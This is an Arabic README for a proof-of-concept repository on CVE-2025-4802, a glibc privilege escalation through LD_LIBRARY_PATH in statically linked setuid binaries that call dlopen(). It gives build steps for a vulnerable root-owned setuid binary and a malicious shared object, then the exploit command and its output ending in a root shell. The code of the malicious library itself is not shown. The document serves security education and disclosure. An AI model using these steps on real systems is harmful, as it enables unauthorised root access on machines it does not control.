
إثبات مفهوم لثنائي setuid مجمّع بشكل ثابت معرض لـ dlopen باستخدام LD_LIBRARY_PATH
⚠️ إخلاء مسؤولية: هذا المستودع مخصص للأغراض التعليمية وأبحاث الأمن المصرح بها فقط. لا تستخدم هذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. قد يؤدي سوء الاستخدام إلى مخالفة القوانين واللوائح.
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2025-4802 |
| البرنامج المتأثر | مكتبة GNU C (glibc) |
| الإصدارات المتأثرة | 2.27 – 2.38 |
| نوع الثغرة | تصعيد الامتيازات عبر LD_LIBRARY_PATH غير الموثوق |
| ناقل الهجوم | محلي |
ثغرة في مكتبة GNU C (glibc) الإصدارات 2.27 إلى 2.38 تسمح للمهاجم باستغلال متغير البيئة LD_LIBRARY_PATH في البرامج الثنائية setuid المترجمة بشكل ثابت التي تستدعي dlopen().
عادةً، يقوم المحمل الديناميكي بتنظيف LD_LIBRARY_PATH لبرامج setuid. ومع ذلك، فإن البرامج الثنائية المترجمة بشكل ثابت تتجاوز المحمل الديناميكي بالكامل، لذلك لا يتم مسح LD_LIBRARY_PATH أبدًا. عندما يستدعي مثل هذا البرنامج الثنائي dlopen() (مباشرة، أو بشكل غير مباشر عبر setlocale() أو دوال NSS مثل getaddrinfo())، تحل glibc المكتبات المشتركة باستخدام LD_LIBRARY_PATH الذي يتحكم فيه المهاجم، مما يتيح تنفيذ تعليمات برمجية عشوائية بامتيازات مرتفعة.
dlopen("myso.so", ...) لتحميل كائن مشترك بالاسم (وليس بمسار مطلق).ld-linux.so) لا يعمل أبدًا، لذلك لا يتم تنظيف LD_LIBRARY_PATH.myso.so) يصدر نفس الرمز hello() ولكنه يطلق شيل جذر (root shell).LD_LIBRARY_PATH ليشير إلى الدليل الذي يحتوي على المكتبة الخبيثة..
├── main.c # مصدر البرنامج الثنائي setuid الضعيف
├── myso.c # كائن مشترك شرعي (آمن)
├── evil_library/
│ └── evilso.c # كائن مشترك خبيث (يطلق شيل جذر)
├── proof_of_concept_screenshot.png # لقطة شاشة طرفية للاستغلال
├── proof_of_concept_video.mp4 # شرح فيديو
├── Makefile # أتمتة البناء
└── README.md
ldd --version)gcc, makemake all
أو يدويًا:
# بناء الكائن المشترك الشرعي
gcc -shared -o myso.so -fPIC myso.c
# بناء البرنامج الثنائي الضعيف (مرتبط بشكل ثابت)
gcc -static -o main main.c -ldl
# بناء الكائن المشترك الخبيث
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
الإخراج المتوقع:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH (سلوك خبيث)LD_LIBRARY_PATH=./evil_library ./main
الإخراج المتوقع:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
يقوم البرنامج الثنائي بتحميل myso.so الخاص بالمهاجم من evil_library/ بدلاً من الشرعي، مما يطلق شيل جذر.

يتوفر أيضًا شرح فيديو: proof_of_concept_video.mp4
dlopen()dlopen() بدلاً من أسماء المكتبات المجردةdlopen()